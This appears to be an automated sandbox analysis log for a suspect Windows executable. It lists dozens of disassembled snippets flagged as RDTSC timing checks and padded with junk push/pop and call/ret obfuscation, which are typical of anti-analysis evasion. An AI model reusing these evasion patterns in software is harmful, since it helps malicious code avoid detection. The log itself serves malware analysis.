Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299248 second address: 1299271 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA4207h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299271 second address: 1299275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299275 second address: 127F099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F849CDA41F8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov ecx, edx 0x00000024 call dword ptr [ebp+122D38C4h] 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299916 second address: 1299942 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F849C4F2D9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F849C4F2DA8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299942 second address: 1299957 instructions: 0x00000000 rdtsc 0x00000002 je 00007F849CDA41F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299957 second address: 1299985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jns 00007F849C4F2D96h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 je 00007F849C4F2D9Ch 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jp 00007F849C4F2DA2h 0x00000026 jbe 00007F849C4F2D9Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299BD6 second address: 1299BE0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F849CDA41FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299C93 second address: 1299C98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299C98 second address: 1299CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jo 00007F849CDA41F6h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A4F9 second address: 129A515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx edx, di 0x0000000c lea eax, dword ptr [ebp+1247AF19h] 0x00000012 sbb dh, 0000001Ah 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 push esi 0x0000001a pop esi 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A515 second address: 129A51F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F849CDA41FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A51F second address: 129A548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnc 00007F849C4F2D9Ch 0x0000000e jng 00007F849C4F2D96h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F849C4F2DA3h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A548 second address: 129A58C instructions: 0x00000000 rdtsc 0x00000002 js 00007F849CDA41F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c xor dword ptr [ebp+122D2EC6h], esi 0x00000012 lea eax, dword ptr [ebp+1247AED5h] 0x00000018 jmp 00007F849CDA4201h 0x0000001d nop 0x0000001e jg 00007F849CDA41FCh 0x00000024 push eax 0x00000025 pushad 0x00000026 jne 00007F849CDA41F8h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A58C second address: 129A590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CD986 second address: 12CD98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDAF4 second address: 12CDB06 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F849C4F2D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F849C4F2D9Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDB06 second address: 12CDB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDB0C second address: 12CDB33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2D9Bh 0x00000007 pushad 0x00000008 jc 00007F849C4F2D96h 0x0000000e jmp 00007F849C4F2D9Fh 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDB33 second address: 12CDB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F849CDA41FBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDB47 second address: 12CDB4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5294 second address: 12D5299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5299 second address: 12D529F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D529F second address: 12D52B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CDA41FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D587F second address: 12D5884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5884 second address: 12D58B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA4200h 0x00000007 jmp 00007F849CDA4202h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D58B0 second address: 12D58BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D58BB second address: 12D58D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F849CDA41FEh 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F849CDA41F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5A2A second address: 12D5A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5A2E second address: 12D5A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F849CDA4204h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5EB3 second address: 12D5EE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2D9Ch 0x00000007 jmp 00007F849C4F2DA8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5EE1 second address: 12D5EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F849CDA41FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6021 second address: 12D605B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007F849C4F2D96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e jmp 00007F849C4F2DA5h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F849C4F2DA3h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D62D1 second address: 12D62FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA4207h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d jo 00007F849CDA41FEh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFBA6 second address: 12DFBAC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFE5E second address: 12DFE8D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F849CDA41F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F849CDA4202h 0x00000012 jmp 00007F849CDA41FEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFE8D second address: 12DFE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFE92 second address: 12DFEC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F849CDA4207h 0x00000009 jmp 00007F849CDA4209h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFEC6 second address: 12DFEFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2DA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F849C4F2DA4h 0x00000014 je 00007F849C4F2D96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFEFE second address: 12DFF0C instructions: 0x00000000 rdtsc 0x00000002 js 00007F849CDA41F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFF0C second address: 12DFF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFF10 second address: 12DFF14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFF14 second address: 12DFF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFF1A second address: 12DFF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFF20 second address: 12DFF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F849C4F2D96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E00AE second address: 12E00B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0380 second address: 12E0384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0384 second address: 12E03A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CDA4206h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E03A0 second address: 12E03B0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F849C4F2DA2h 0x00000008 jbe 00007F849C4F2D96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E03B0 second address: 12E03C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F849CDA41FBh 0x0000000b jo 00007F849CDA41F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0519 second address: 12E051D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E051D second address: 12E0527 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0527 second address: 12E052B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E052B second address: 12E052F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E084D second address: 12E0857 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F849C4F2D9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0857 second address: 12E087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F849CDA4204h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E0DEA second address: 12E0E09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2D9Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F849C4F2D9Eh 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3F4F second address: 12E3F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3F53 second address: 12E3F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4081 second address: 12E4085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4085 second address: 12E408B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E408B second address: 12E4091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6466 second address: 12E647F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2D9Ch 0x00000007 ja 00007F849C4F2D96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB5D5 second address: 12EB5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F849CDA41F6h 0x0000000a popad 0x0000000b jmp 00007F849CDA4203h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA898 second address: 12EA8B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F849C4F2DA0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA8B1 second address: 12EA8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA8B7 second address: 12EA8BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA8BB second address: 12EA8C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EAA66 second address: 12EAA80 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F849C4F2DA3h 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EABEB second address: 12EABF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EABF1 second address: 12EAC1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C4F2DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F849C4F2D98h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EAC1D second address: 12EAC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CDA41FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EAFE7 second address: 12EAFEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EAFEB second address: 12EAFEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EAFEF second address: 12EAFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F849C4F2D9Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB188 second address: 12EB199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jng 00007F849CDA41F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB199 second address: 12EB19F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB19F second address: 12EB1B6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F849CDA41F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jc 00007F849CDA41F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE185 second address: 12EE18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE18B second address: 12EE198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F849CDA41F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4E23 second address: 12F4E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F849C4F2DA7h 0x0000000a jmp 00007F849C4F2DA4h 0x0000000f popad 0x00000010 jl 00007F849C4F2DA2h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F37E8 second address: 12F37F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CDA41FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F37F6 second address: 12F37FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F37FB second address: 12F380A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 jc 00007F849CDA41FCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F380A second address: 12F3830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F849C4F2DA6h 0x0000000d jl 00007F849C4F2D98h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3830 second address: 12F3837 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3965 second address: 12F397E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F849C4F2D9Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299F2F second address: 1299F3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299F3D second address: 1299F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299F41 second address: 1299F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299F47 second address: 1299FE9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F849C4F2DA1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b adc dx, F44Dh 0x00000010 mov ebx, dword ptr [ebp+1247AF14h] 0x00000016 add edx, dword ptr [ebp+122D1980h] 0x0000001c add eax, ebx 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F849C4F2D98h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 add cl, 00000001h 0x0000003b push eax 0x0000003c jns 00007F849C4F2DACh 0x00000042 mov dword ptr [esp], eax 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007F849C4F2D98h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 00000018h 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D26DDh], esi 0x00000065 push 00000004h 0x00000067 mov edx, dword ptr [ebp+122D19FEh] 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 